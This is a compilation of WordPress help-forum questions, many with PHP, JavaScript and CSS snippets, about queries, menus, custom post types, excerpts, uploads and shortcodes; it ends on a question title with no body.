I am not a WordPress expert, so I'm seeking your help. I need parent ID of post category (closest parent, not "grand-parent"), then use it to get the first post of that category. I have folllowing code, but it seems I'm missing something here:               <?php          if(have_posts()) :             while (have_posts()) : the_post();                 /* wp_redirect(get_permalink($post->ID)); */                 $category = get_the_category($post->ID);                      foreach($category as $single_cat){                     $parent =$single_cat->parent; // overwrite                 }                      $my_query = new WP_Query("category=$parent&showposts=1");                     while ($my_query->have_posts()):                          $my_query->the_post();                               $page_id = get_permalink($post->ID);                      endwhile;                       wp_redirect(get_permalink($page_id));                  endwhile;         endif;     ?>


Transform <ul> menu in <table> menu

Someone can help me? I'm trying to create a walker's menu but I think is impossible. I want to create a top level menu as a table, but with 2 rows. For example, a typical one option menu will be:

MENU1

      and I want to transform to:

         MENU1

      In case of 2 or more options:

MENU1

MENU2

MENU3

      It will be transformed in:

         MENU1	         MENU2	         MENU3

      I dont know how to insert columns in differents rows in the same menu.... Thanks!


Add contact form

I want to add contact form to my page. I found http://en.support.wordpress.com/contact-form/ article where (see below) there is button for adding contact form but I don't have this in my Wordpress installation. ![enter image description here](http://i.stack.imgur.com/579Kr.jpg) Do I have to add some plugin or what? I use wordpress 3.3.1.


How to create custom variables in the wp-config

I would like to add some custom config variable in the wp-config file (not in the functions.php). Then, I need to access to these variable in my templates. What is the way to do it ?


ID's being stripped out of editor for Admin user in Multi-Site

I have a Multi-Site install running on the current version of WordPress (3.3.1). The problem I'm having is the ID's are being stripped out of my tags in the editor. When I am logged in as a "Super Admin", the ID's **are NOT** stripped out. When I am logged in as an "Admin", the ID's **are** stripped out. Here is an example of the valid HTML being used:

Tab 1 content

Tab 2 content

Tab 3 content

      After updating the post as an admin, here is the result, every time:

Tab 1 content

Tab 2 content

Tab 3 content

      This issue can be reproduced by setting up a WordPress multisite install. Create an Super Admin (setup on install) and a new user with Admin privileges. Try adding the HTML in the first code example with the ID's in it. The Super Admin account will not strip the ID's, the Admin account will. Anyone know of a fix, plugin, or reason for this? Thanks in advance!


Copying Wordpress site, HOW about the DB connection?

I am USING the wordpress Import/Export and have done exporting the XML file from my wordpress site. And now i am moving my site from a local server to a host, after copying the files i noticed that on the new HOST there is no DATABASE connection, since i am not using a fresh install, I am just copying my files from the local server to the new HOST. How can i resolve this by not using any database client from the new host like PHPmyAdmin, is their a wordpress plugin that can solve this? THere is a BIG Error establishing a database connection on my page thank you


How to add inline css code with background image in page html code?

I want to add inline css code inside a page of my blog. This css code calls an image as background of a div. Is this possible? and how to do that? I have tried to add the image as a Media resource, and got a URL for it, but using this URL does not seem to work. Example of code that I paste to my page html:
         Click here »


Allow users to create their own feed from selected categories?

I've been wandering around on the web for the last couple of hours wondering if there's a way to allow users to build their own RSS feed by selecting categories within WordPress, that could then be subscribed to by email. Seems to present two problems:   1. Allowing people to build a personalized feed from categories.   2. Enabling email subscription. Any thoughts on how best to proceed with either?


How Do I Make WordPress Run an Event Every Day?

In a plugin I want to build, it deals with contests. A contest has a date on it. Does WordPress have a feature in it where it can run a piece of code every day without requiring someone to create a cron job? Basically I'm wondering if, when you build a blog with WordPress, if WordPress.org or Automattic automatically pings your site once a day or something like that. Because if that's true, I can hook that event and make it run a contest date check.


Wordpress wp_editor to post and edit

I browsed through all the topics here on stackexchange to find an answer to my problem but couldn't quite get there. This snippet enables you to post from the frontend, but how about editing. Each post on the front page should have a edit button, that leads to editing that post, so I should write some code to a loop I guess?         I'd like to be able to post and edit posts from the frontend kind of like in Facebook.   example   Aaargh, it's driving me mad, I've tried to figure this out for weeks now. I have designed several sites with the WP but I wouldn’t consider my self as a coder, so ANY help would be greatly appreciated. -Tuomas


How-to get the get_category_parents() breadcrumbs trail without link on last item

Just a question : I want to use `get_category_parents()` to display a breadcrumb on a category archive page, but with no link on the current displayed category (SEO purposes, because they say that's a link to itself. I'm not sure search engines are _that_ stupid, but anyway). Like this : > link_home » link_cat1 » link_subcat1 » nolink_subsubcat1 `get_category_parents()` is perfect for that, but there's only two options : with links and without links. What I want is links BUT on the last item. The function is returning a string, not a object or array, so I cannot remove the last item. I could do with regex by searching with the `»` separator and remove last link that way, but i'm pretty bad with regexes (if you know good references for that, i'm interested !). I know the obvious answer is to create a custom function using `get_ancestors()` and a loop , then simply adding after the current category name. But I wanted to know is there is some more simplier way, but just hooking `get_category_parents()` to not adding link to the last item ? Thank you for any insight. Regards Simon


Set default (auto) slug prefix for Tags

Is it possible to add default prefix to the slug of each newly added **Tag**. So that full slug, would be stored in database (no rewrites). **For example:**   * _**Name_** : Tag1 -> **_Slug:_** prefix-tag1    * _**Name_** : Tag2 -> **_Slug:_** prefix-tag2   * ...


how to compare different timestamps in wp-query for events custom post types?

I have a custom post type with custom metaboxes (as seen on wptheming.com) and would like to make a query to show upcoming events, say in the sidebar, where past dates are left out. But I need a value of the current time to compare with the events start time. Right now i got a current time from `current_time('mysql')` that looks like this: 2012-02-16 13:15:31 And a start time from the meta that looks like this: 201108121100 How can I make the two dates comparable? Can i do it inside the query or is there another solution? Below is my query so far (with the "value" left blank, and the time-stamps echoed out):               <?php $args = array(          'post_type'     => 'event',         'meta_key'      => '_start_eventtimestamp',         'orderby'       => 'meta_value_num',         'meta_query'    => array(                              array(                                     'key'     => '_start_eventtimestamp',                                     'value'   => '',                                     'compare' => '!=',                                     'type'    => 'NUMERIC'                                 )                             ),         'order' => 'ASC',         'posts_per_page' => 10,         );          $events = new WP_Query( $args );          if ( $events->have_posts() ) :     echo '
';     while ( $events->have_posts() ) : $events->the_post();     echo '
' . current_time('mysql') . '
';     echo '
' . get_post_meta( $post->ID, '_start_eventtimestamp', true ) . '
';     endwhile;     echo '
';          endif;      ?> Below is the code in my function.php. (It works fine in the archive-event.php but not anywhere else):               function ep_event_query( $query ) {          // http://codex.wordpress.org/Function_Reference/current_time     $current_time = current_time('mysql');     list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = split( '([^0-9])', $current_time );     $current_timestamp = $today_year . $today_month . $today_day . $hour . $minute;          global $wp_the_query;          if ( $wp_the_query === $query && !is_admin() && is_post_type_archive( 'event' ) ) {         $meta_query = array(             array(                 'key' => '_start_eventtimestamp',                 'value' => $current_timestamp,                 'compare' => '>'             )         );         $query->set( 'meta_query', $meta_query );         $query->set( 'orderby', 'meta_value_num' );         $query->set( 'meta_key', '_start_eventtimestamp' );         $query->set( 'order', 'ASC' );     }      } add_action( 'pre_get_posts', 'ep_event_query' ); How do i do this?


Which contact form plugin passes Outlook junk / spam filters?

I'd like to know which contact form plugin has the best header and email creation so that Outlook does not filter it as junk mail. I'm using jigowatts simple php contact form. I am going to test the AJAX WP plugin version but would like to hear from everyone and what they use to get emails accepted by Outlook. Thanks


Enqueue script with url_query variables?

Is there an easy way to enqueue a JavaScript file with url_query values populated? I have a php file underneath my js directory with JavaScript headers that I want to generate some dynamic JavaScript depending on the url_query values. Thanks Gs UPDATE: Yes, in the widget class I added the following (as a test): (in the constructor, I just wanted to make a completely unique ID so I took the timestamp + a bunch of random #s):               $this->widget_id=time().rand(2,10).rand(2,10).rand(2,10).rand(2,10).rand(2,10).rand(2,10);     add_action('wp_footer', array( &$this, 'footer_js' ));      (then the method):               public function footer_js(){           wp_register_script( 'mgs-site-script'.$this->widget_id, $this->plugin_location . "js/mgs.js", array('jquery'),'1.2.0');           wp_enqueue_script( 'mgs-site-script'.$this->widget_id );           $translation_array = array( 'some_string' => __( 'Some string to translate' ), 'a_value' => '10' );           wp_localize_script( 'mgs-site-script', 'object_name', $translation_array );       }      Then in mgs.js I tried to access the variables by calling:               alert(object_name.some_string);      but firebug spits out "object_name is not defined"


Downsides to not using built-in "Posts" post type?

I plan on skipping the Posts post type once and for all. This is a brand new portal. It will have 100s of thousands of content in the form of articles, multimedia, and links. Instead of Posts, I will be using a custom post type called "Articles." Similarly, for my video, audio, and picture posts, I will be using another CPT called "Multimedia." I'm doing this to bring a one standard across all actions that is anytime we post anything, that's a CPT. That helps me deal with urls, Admin UI, who has control over what, what taxonomies to show when, and all that. Two questions:   1. how do you get rid of the post menu on the admin ui?    2. any issues of skipping the post type and not using it at all?


How to filter out Categories for specific post types on Wordpress Admin?

How can i programatically change the Category selection menu on wp-admin? is there a hook or filter to edit the Category List? My objective is to filter out specific categories for specific post-types, for example: I have the categories: Sports,Players and Coaches under the post-types: People and Activities I want to filter the Sports Category out of the People Post-type.


Hook for feed creation?

I'm looking to create a function which would be called when the blog's `/feed/?args...` URL is requested. I've been looking at `the_content_feed`, would that be correct? Also, how would I get the `args` in the URL into my function as an array?


Highlight post in sidebar on single page

When you have a menu for say pages, it's easy to highlight your current page, since WP puts a class on it. But what I have is a sidebar with the 20 latest posts in a loop and a separate main content area for the normal page loop and single page/category page etc. My sidebar loop looks like this.
                         <?php                             $sidebar_query = new WP_Query(array(                                 'showposts' => 20                             ) );                         ?>                              <?php while ($sidebar_query->have_posts()) : $sidebar_query->the_post(); ?>
                             <?php if(has_post_thumbnail()) :?>
                                     <?php the_post_thumbnail('sidethumb'); ?>
                              <?php else :?>                             <?php endif;?>                                 <a href="<?php the_permalink() ?>">                                                                  <?php                                 $cat_names = wp_list_pluck( get_the_category(), 'cat_name');                                 echo wp_sprintf_l( '%l', $cat_names );                             ?>
<?php the_title (); ?>
                                                                      <?php echo human_time_diff( get_the_time('U'), current_time('timestamp') ) . ' ago'; ?>
                              <?php endwhile; wp_reset_query(); ?>
         Now, what'd be the best way (if there's a way) to highlight the current post when on a single page? Now I could echo out a class or something in there, but then it'd be applied to all the posts in the loop so that'd be useless. So I've got say, Story one Story two Story three in the sidebar and I'm on the page of story 1, how would one add a class to only that post so it can be highlighted with css?


Title on hovering on the featured image

I have used the following code to make a slideshow of the featured image of a category.I want to show the title of the post when hovering on the image. But I don't know how to do it. Anyone please help. **Code in functions.php**               register_post_type( 'featured_content' );          add_action( 'init', 'get_the_js' );          function get_the_js() {     wp_register_script( 'jquery.cycle', get_stylesheet_directory_uri(). '/js/jquery.cycle.lite.js', array('jquery'), TRUE);     wp_enqueue_script('jquery.cycle' );     wp_enqueue_script( 'custom', get_stylesheet_directory_uri(). '/js/custom.js', array('jquery.cycle'), TRUE);             }          add_image_size( 'featured',  700, 285, true );      **Code for displaying slideshow**

             «Prev Next»

                  <?php                         $i = 1;                         global $wp_query;                         $custom_query = array('category_name' =>'products',                             'posts_per_page' => -1                         );                         if ( $custom_query )                             query_posts( $custom_query );                         $more = 0;                     ?>             <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>                  <li class="cycle-item slide-<?php echo $i; ?>">                       <a href="<?php the_permalink();?>"><?php   the_post_thumbnail('featured'); ?>
                  <?php                         $i++;                         endwhile;                         endif;                     ?>                     <?php wp_reset_query(); ?>

       **Code in custom.js**               jQuery.noConflict();     jQuery(document).ready(function($) {     jQuery('ul#cycle').cycle({             timeout: 9000,             speed: 1500,             delay: 2000,             prev:   '#prev2',             next:   '#next2'         });     });      **CSS**                #home-slider {     width:735px;      overflow:hidden;      height:280px;      float:right;      position:relative;      margin-right:0;      display:inline-block      }               a#prev2 {     position:absolute;      width:31px;      height:32px;      text-indent:-999em;      z-index:100;      background-position:0 0;      background-image:url(images/cycle-nav.png);      top:185px;      box-shadow:1px 1px 2px rgba(2,2,2,0.3);      -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);       -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)     }          a#prev2:hover {     background-position:0px -32px     }           a#next2 {     position:absolute;      right:0px;      width:31px;      height:31px;      display:block;      z-index:100;      top:185px;      background-position:31px 0px;      background-image:url(images/cycle-nav.png);      overflow:hidden;      text-indent:-999em;      box-shadow:1px 1px 2px rgba(2,2,2,.3);       -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);       -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)     }           a#next2:hover {     background-position:31px -32px     }          ul#cycle {      margin:0;       padding:0;       list-style:none     }          ul#cycle .excerpt {     width:700px;      height:82px;     background: rgb(0, 0, 0);      background:rgba(0,0,0,.5);      position:absolute; bottom:0;     padding:10px 20px 10px 25px;      overflow:hidden     }      **Below is the example of what I want** ![enter image description here](http://i.stack.imgur.com/hPphY.png) You can see the title of the image on the image. I want the same but the only difference is i need the title when I hover on the image.


How do I add a checkbox option to this custom post type code?

I have a custom post type set up and I want to add a checkbox option. If the box is checked, I want to use a php if/else statement to show one div or another. Can someone take a look at my code and help me figure out how to add the checkbox option?               /* Register Projects Post Type */     add_action('init', 'create_projects');          function create_projects() {              $labels = array(             'name' => __('Projects', 'post type general name'),             'singular_name' => __('Project', 'post type singular name'),             'add_new' => __('Add New', 'project item'),             'add_new_item' => __('Add New Project'),             'edit_item' => __('Edit Project'),             'new_item' => __('New Project'),             'view_item' => __('View Project'),             'search_items' => __('Search Projects'),             'not_found' =>  __('Nothing found'),             'not_found_in_trash' => __('Nothing found in Trash'),             'parent_item_colon' => ''         );              $args = array(             'labels' => $labels,             'public' => true,             'publicly_queryable' => true,             'show_ui' => true,             'query_var' => true,             'rewrite' => true,             'capability_type' => 'post',             'hierarchical' => false,             'menu_position' => null,             'supports' => array('title','editor','excerpt','thumbnail')           );               register_post_type( 'projects' , $args );     }          /* Register Filter Taxonomy */     register_taxonomy("Filter", array("projects"), array("hierarchical" => true, "label" => "Filters", "singular_label" => "Filter", "rewrite" => true));          /* Add Fields */     add_action("admin_init", "add_projects_fields");          function add_projects_fields(){         add_meta_box("project_title", "Project Title", "project_title", "projects", "side", "low");         add_meta_box("website_url", "Website URL", "website_url", "projects", "side", "low");         add_meta_box("screenshot_name", "Screenshot Name", "screenshot_name", "projects", "side", "low");         add_meta_box("thumbnail_name", "Thumbnail Name", "thumbnail_name", "projects", "side", "low");         add_meta_box("thumbnail_alt", "Thumbnail Alt", "thumbnail_alt", "projects", "side", "low");     }          function project_title(){         global $post;         $custom = get_post_custom($post->ID);         $project_title = $custom["project_title"][0];         ?>         Project Title:         <input size="50" name="project_title" value="<?php echo $project_title; ?>" />         <?php     }          function website_url(){         global $post;         $custom = get_post_custom($post->ID);         $website_url = $custom["website_url"][0];         ?>         Website URL:         <input size="50" name="website_url" value="<?php echo $website_url; ?>" />         <?php     }          function screenshot_name() {         global $post;         $custom = get_post_custom($post->ID);         $screenshot_name = $custom["screenshot_name"][0];         ?>         Screenshot Name:         <input name="screenshot_name" value="<?php echo $screenshot_name; ?>" />         <?php     }          function thumbnail_name() {         global $post;         $custom = get_post_custom($post->ID);         $thumbnail_name = $custom["thumbnail_name"][0];         ?>         Thumbnail Name:         <input name="thumbnail_name" value="<?php echo $thumbnail_name; ?>" />         <?php     }          function thumbnail_alt() {         global $post;         $custom = get_post_custom($post->ID);         $thumbnail_alt = $custom["thumbnail_alt"][0];         ?>         Thumbnail Alt:         <input name="thumbnail_alt" value="<?php echo $thumbnail_alt; ?>" />         <?php     }          add_action('save_post', 'save_projects_details');          function save_projects_details(){         global $post;              update_post_meta($post->ID, "project_title", $_POST["project_title"]);         update_post_meta($post->ID, "website_url", $_POST["website_url"]);         update_post_meta($post->ID, "screenshot_name", $_POST["screenshot_name"]);         update_post_meta($post->ID, "thumbnail_name", $_POST["thumbnail_name"]);         update_post_meta($post->ID, "thumbnail_alt", $_POST["thumbnail_alt"]);     }          /* Custom Columns */     add_action("manage_posts_custom_column",  "projects_custom_columns");     add_filter("manage_edit-projects_columns", "projects_edit_columns");          function projects_edit_columns($columns){         $columns = array(             "cb" => "<input type=\"checkbox\" />",             "title" => "Project Title",             "description" => "Description",         );              return $columns;     }          function projects_custom_columns($column){         global $post;              switch ($column) {             case "description":             the_excerpt();             break;         }     }      EDIT: To further elaborate, below is an image of how I would like this to look. Just a simple checkbox that I can toggle on/off. ![enter image description here](http://i.stack.imgur.com/sUj6w.png) Then in my HTML, I can just use something like this:               if box is checked, don't show this div


Why is the output of a call to the_excerpt different when the call seems to be identical?

Ok I've been asked to fix a problem on a website that is a bit weird. The index page (template-magazine.php) here, Has this bit of code:               <?php get_template_part('loop'); ?>      to produce a list/grid of latest news and here everything is fine, each entry is represented by a time and place and a snippet of the description of the event. When you click a category you call the archive.php example and archive.php has the same call:               <?php get_template_part('loop'); ?>      to build the list/grid of events. But now the output is time and place as before but the snippet includes the time and date as well. Now I should mention that the the posts displayed are a custom post type from the All-in-One Event Calendar (by Timely). The problem might be connected to that somehow but I am to much of a wordpress noob to be able to understand that. The custom post type is added to the loop like this:               add_filter('pre_get_posts', 'query_post_type');          function query_post_type($query) {       if(is_category() || is_home() || is_tag() && empty( $query-    >query_vars['suppress_filters'] )) {             if ( empty($query->query_vars['post_type']) ) {                 $query->query_vars['post_type'] = array('post','ai1ec_event');             } elseif ( 'any' == $query->query_vars['post_type'] ) {                 return;             } else {                 $query->query_vars['post_type'] = (array)$query->query_vars['post_type'];                 $query->query_vars['post_type'][] = 'ai1ec_event';             }         }     }      Hope someone can point me in the right direction. As requested here is the contents of loop.php:               <?php if ( have_posts() ) : ?>
         <div id="loop" class="<?php if ($_COOKIE['mode'] == 'grid' ) echo 'grid'; else echo 'list'; ?> clear">         <?php             $postedon_data = array(                 'date' => get_option('unspoken_postedon_date'),                 'category' => get_option('unspoken_postedon_cat'),                 'comment' => get_option('unspoken_postedon_comm'),                 'author' => get_option('unspoken_postedon_author')             );             $i = 0;             while ( have_posts() ) : the_post();                 $i++;         ?>                 <div id="post-<?php the_ID(); ?>" <?php post_class('clear'); ?>>                     <a href="<?php the_permalink(); ?>" class="post-thumb"><?php if ( has_post_thumbnail() ) the_post_thumbnail('general'); ?>
<?php if (function_exists('unspoken_posted_on')) unspoken_posted_on($postedon_data); ?>

<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?>

<?php the_excerpt(); ?>

         <?php             if ( $i % 2 == 0 ) echo '

';             endwhile; // end of the loop.         ?>

          <?php else : ?>

<?php _e( 'Not found', 'unspoken' ); ?>

<?php _e( 'Apologies, but no results were found for the requested criteria. Perhaps searching will help find a related post.', 'unspoken' ); ?>

          <?php endif; ?>      Adding All filters I could find that did something with excerpt: theme/unspoken/functions.php               // Custom excerpt for comments     function unspoken_excerpt($string, $limit) {     $more = '';     $words = explode(" ",$string);     if ( count($words) >= $limit) $more = '...';     $output = strip_tags( implode(" ",array_splice($words, 0, $limit)).$more );     echo $output;     }          // Custom excerpt more     function unspoken_excerpt_more($more) {     return '...';     }     add_filter('excerpt_more', 'unspoken_excerpt_more');     function unspoken_excerpt_length($length) {     return 33;     }     add_filter('excerpt_length', 'unspoken_excerpt_length');      Plugin only has an empty functions.php seems to be modelled on MVC instead. Plugin-file event-excerpt.php has this function:

         <?php _e( 'FechaDataDate:', AI1EC_PLUGIN_NAME ); ?>         <?php echo $event->get_timespan_html(); ?>
     <?php if ( $location ) : ?>
             <?php _e( 'LugarLlocVenue:', AI1EC_PLUGIN_NAME ); ?>             <?php echo $location; ?>
     <?php endif; ?>
      Found something that could be interesting in another plugin file called class- ai1ec-events-controller.php               /**      * event_excerpt function      *      * Overrides what wp_trim_excerpt() returned if the post is an event,      * and outputs better rich-text (but not too rich) excerpt instead.      *      * @return void      **/     function event_excerpt( $text )     {         global $ai1ec_view_helper,                $ai1ec_events_helper;              if ( get_post_type() != AI1EC_POST_TYPE ) {             return $text;         }              $event = new Ai1ec_Event( get_the_ID() );              ob_start();              $this->excerpt_view( $event );              // Re-apply any filters to the post content that normally would have been         // applied if it weren't for our interference (below).         echo shortcode_unautop( wpautop(                 $ai1ec_events_helper->trim_excerpt(                     apply_filters( 'the_content', $event->post->post_content )                 )         ) );              $page_content = ob_get_contents();         ob_end_clean();              return $page_content;     }          /**      * event_excerpt_noautop function      *      * Conditionally apply wpautop() filter to content, only if it is not an      * event.      *      * @return void      **/     function event_excerpt_noautop( $content ) {         if ( get_post_type() != AI1EC_POST_TYPE ) {             return wpautop( $content );         }         return $content;     }      Found this in /model/class-ai1ec-event.php               /**      * Get excerpt of post content for display in popup view      */     public function get_post_excerpt() {         if (             ! isset( $this->post->post_excerpt ) ||             empty( $this->post->post_excerpt )         ) {             $content = strip_tags(                 strip_shortcodes(                     apply_filters( 'the_content', $this->post->post_content )                 )             );             $content = preg_replace( '/\s+/', ' ', $content );             $words = explode( ' ', $content );             if ( count( $words ) > 25 ) {                 $this->post->post_excerpt = implode(                     ' ',                     array_slice( $words, 0, 25 )                 ) . ' [...]';             } else {                 $this->post->post_excerpt = $content;             }         }         return $this->post->post_excerpt;     }      And that is all I could find on excerpts, hope it helps.


how to make all buddypress users status "recently active"?

I need to update all users status to recent so they appear on the members list. I am using buddypress. If you need anything else, just ask.


blog page showing only first post

Live site. My blog page is showing only the very first published page, and not the subsequent posts. I've noticed, too, that when viewing the page source, the blog page seems to be using single.php instead of index.php which is what I've set the template to be. Could this be the issue? Below is the code in question: index.php               <?php     /*     Template Name: Blog     */     ?>          <?php get_header(); ?>

                 <?php if(have_posts()) : while(have_posts()) : the_post(); ?>

<a href="<?php the_permalink(); ?>"><?php the_title(); ?>

written by <?php the_author(); ?> on <?php the_date(); ?>

                         <?php the_content('read more...'); ?>
                 <?php endwhile; ?>                 <?php else : ?>
I'm not sure what you're looking for.
                 <?php endif; ?>
          <?php get_sidebar(); ?>          <?php get_footer(); ?>


Woocommerce Emails not being sent

I would like to know the best way to debug email issues in woocommerce when the mails are not being sent for any account/Order related processes. Thanks


How to exclude visited posts from loop

How can I exclude visited posts from a loop? I have a loop of recent posts on a single post page that excludes the current post and I want to extend the amount of times users browse by filtering out the ones they've already seen. Here's the basic loop.               <?php      $featured_post_id = get_the_ID();      global $post;      $args = array('cat' => '9', 'posts_per_page' => 5, 'post__not_in' => array($featured_post_id));      $my_query = new WP_Query($args);      if ( $my_query->have_posts() ) : ?>


Valid filenames for add_action's first parameter

Some examples in WordPress' docs pass a filename to `add_action` rather than an action name. For example,               add_action( 'load-post.php', 'callback' );     add_action( 'load-post-new.php', 'callback' );      What are the valid filenames for the first argument in `add_action`?


How to automate setup of theme, pages, widgets, etc for a new site in multi-site?

I have a large MultiSite network, and each page is designed a bit differently. I'm looking to write some custom code to automate the setup of a new blog as much as I can. Things I'm looking to do for every new blog:   * Activate a theme   * Create some new pages (contact, about us, etc.)   * Add and configure some widgets   * Etc. I'm completely willing (even eager) to write custom code to make this automation happen. However, I'd like to leverage as much existing code as possible. What recommendations do you have in order to make this happen? I know that I can use `wp_insert_post()` to insert posts and pages, but how should I go about activating a theme, enabling widgets, etc.?


Customizing a permalink

Good Day All I have a featured slider on the home page that can call a category from which it gets its featured content. Now, for each featured slider, I made a post with category 'featured'. Now the problem is, that currently when you click on the featured slide, you get directed to its originating post with category 'featured'.
<a href="<?php echo esc_url($arr[$i]["permalink"]); ?>"><?php echo esc_html($arr[$i]["title"]); ?>
      Now, what I would like to achieve is to change that dynamic link (above) to point to a specific category, and the category it should point to is exactly the same as the title that makes up this link - (title = h2 featured-title text) So the dynamic url should point to               http://siteurl.com/category/title in the above link...      Is that possible? Thank you! Thank you


How do I check if I linked to a post before I delete it?

If I want to "safely" delete a post. I want to make sure that no link exists (within my blog) to "to-be-deleted" post. How do I do that?


Moving the blog page

I have done the typical procedure to change the home page to a static page, and move the posts page to a /blog page. Home page is fine, but the 'blog' page shows the same as the home page, even when I select a custom template which has the loop in, it just ignores that and displays the home page template, any ideas? :)


Broken Link in WP Site?

I've built a test site for a client using a theme purchased from Template Monster. I can't seem to find out why the link is broken on this page. and the Template Monster support has extremely poor. http://trustlabor.com/riverstonesalonspa/portfolio/ I renamed the stock theme "Portfolio" page to "Staff Bios" If I change the page permalink to: http://trustlabor.com/riverstonesalonspa/staffbios/ to match the new name of the page it is a broken link. It's still looking for the stock theme subdomain "portfolio." Furthermore the page navigation below the thumbnail photos is also broken. If you try to navigate to from Page 1 to Page 2 of the staff photos you get a 404 error message.


How can I get an image from the uploads dir and enter it in the media library?

I want to develop a script that:   1. Gets an image from a post's content and removes it (it's hosted on another website)    2. Uploads it in the uploads directory    3. Adds it in the media library and    4. Lastly returns the content with the image saved on server. I can't make the third step.   The problem is with `wp_insert_attachment`, every time it's run inside a function called by `add_filter`, either apache returns `"PHP Fatal error: Allowed memory size"` (my php memory limit is 124MB) or the page keeps loading forever. The same problem doesn't occur when `wp_insert_attachment` runs outside of a function called by `add_filter`. I cannot put it outside though because I want to feed it with the `$image_path` data received from download_image function. I also tried calling a separate function that does step 3, run from inside of `download_image` function, with `$image_path` passed as a variable but the same problem occurred. Why that happens, any ideas on how to solve it?               add_filter('content_save_pre', 'download_image');          function download_image($content_save_pre)      {         preg_match( '/<img[^<]+>/i', $content_save_pre, $result ); // Find first image with tags         $image_tags = $result[0]; // Save image with tags         $content_save_pre = str_replace( $image_tags, '', $content_save_pre ); // Remove image with tags         preg_match( '/http[^"]+/i', $result[0], $result ); // Find URL           $url_only = $result[0];                preg_match( '/[^\/]+$/i', $result[0], $result ); // Find filename         $filename = $result[0];         $uploads = wp_upload_dir(); // Find Upload dir path         $uploads_path = $uploads['path'];         $uploads_url = $uploads['url'];              $image = file_get_contents( $url_only ); // Save image in uploads folder           file_put_contents( $uploads_path . '/' . $filename, $image );              $image_url = $uploads_url . '/' . $filename; // URL of the image on the disk         $image_path = $uploads_path . '/' . $filename; // Path of the image on the disk              // Add image in the media library - Step 3              $wp_filetype = wp_check_filetype( basename( $image_path ), null );         $attachment = array(            'post_mime_type' => $wp_filetype['type'],            'post_title'     => preg_replace( '/\.[^.]+$/', '', basename( $image_path ) ),            'post_content'   => '',            'post_status'    => 'inherit'         );              $attach_id = wp_insert_attachment( $attachment, $image_path );           require_once( ABSPATH . 'wp-admin/includes/image.php' );         $attach_data = wp_generate_attachment_metadata( $attach_id, $image_path );         wp_update_attachment_metadata( $attach_id, $attach_data );              return '<img src="' . $image_url . '"/>' . $content_save_pre; // Return content with the image saved on server     }      Might that be a bug or something. Should I report it?


Why get_posts are only showing five posts (retrieved by assigning a category to them?

Here is the link http://www.brianfunshine.com/voice-work/voice-page/ This is the code:               <?php     /**      * Template Name: Voice Page (Two Columns)      * @package WordPress      * @subpackage Twenty_Ten      * @since Twenty Ten 1.0      */          get_header(); ?>               <?php breadcrumb(); ?>          <?php // this is the main loop ?>     <?php if(have_posts()) : while(have_posts()) : the_post(); ?>

                 <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?>

                 <?php the_content(); ?>

                 <?php wp_link_pages('before=
'.__('Pages:','options').'&after=
'); ?>

              <?php endwhile; ?>          <?php else: ?>
<?php _e('Sorry, no posts matched your criteria.','options'); ?>
          <?php endif; ?>

          <?php // retrieve a list of posts with category Voice Audio Demos     $args = array('category_name' => 'Voice Page (Left Column)', 'order' => 'DESC', 'posts_per_page'=>-1);     $customposts = get_posts($args);     foreach($customposts as $post) : setup_postdata($post); ?>

                 <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?>

                 <?php the_content(); ?>

          <?php endforeach; ?>

          <?php // retrieve a list of posts with category Voice Audio Demos     $args = array('category_name' => 'Voice Page (Right Column)', 'orderby' => 'DESC', 'posts_per_page'=>-1);     $customposts = get_posts($args);     foreach($customposts as $post) : setup_postdata($post); ?>

                 <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?>

                 <?php the_content(); ?>

          <?php endforeach; ?>
          <?php get_footer(); ?>      It just retrieves posts with category Voice Page (Left Column) and Voice Page (Right Column). I ahve more than 5 posts in that category bu the page is only showing 5: ![enter image description here](http://i.stack.imgur.com/XKq9d.png)


Upload media file problem

I have a strange upload problem similar to: wordpress upload http error? I have an 8MB upload limit and no control of the php.ini. My client can upload small media files (images and PDFs) successfully in Wordpress, but can't upload files larger than about 1MB. She has tried both the flash and browser upload methods, resulting in an IO error with the flash method and a 'Connect to the Server was reset while the page was loading' error with the browser method. She has tried on various browsers on two different computers. However, from a different location I can upload exactly the same larger files, using the same Wordpress Login. I created a simple php upload script (on the same site, but outside of WP) and she can successfully upload the larger files which fail in WP using that. I can make a workaround where she uploads them using my form but it's not ideal as she's already finding wordpress quite complicated. Any ideas why this could be happening? THanks, Lucy


displaying flv-video attachment in post

i've attached a local .flv video to my post (it was uploaded and is inside my mediapool). my question: how can i display it inside my post? (the video player) thanks


Using the title of the post in a shortcode

Hi I'm trying to use this plugin: http://wordpress.org/extend/plugins/wordpress-simple-website-screenshot/ I am supposed to use the shortcode: `[screenshot url="www.example.com"]` Because I am writing the code in the single.php file I am using: `<?php echo do_shortcode( '[screenshot url="www.example.com"]' ); ?>` But, my problem is that the URL is defined in the title of the post, so I tried: `<?php echo do_shortcode( '[screenshot url="<?php the_title(); ?>"]' ); ?>` with no luck. Is it possible to do a workaround on this?


Hide parts of the post content on the home page

I have a post that contains a video (or a slider) and some text. Is it possible to hide the text on the home page, but still display the rest? How would I do that?


How to remove the number of a comment in the url slug?

Searched through google but can't find anything related to it. Either I don't know what terms to use when searching or there's nothing about it. I want to remove #comment-* we all know that it appears after some1 is submitting a comment. So any thoughts on that one? SOLVED:   I used a hook to redirect from the page where the comment was first submitted               add_filter('comment_post_redirect', 'redirect_after_comment');     function redirect_after_comment($location)     {       return $_SERVER["HTTP_REFERER"];     }      Maybe will help someone in near future.


Get a post's ID

How do I get a post's ID? I know I can use the_ID(), but I have to use it in The Loop. How can I get the post's ID without the loop? Because I think using the loop just to find the post's ID will slow down my script. Maybe i'm wrong. Please help me :) Thank you!


Adding in support thumbnail removes editor

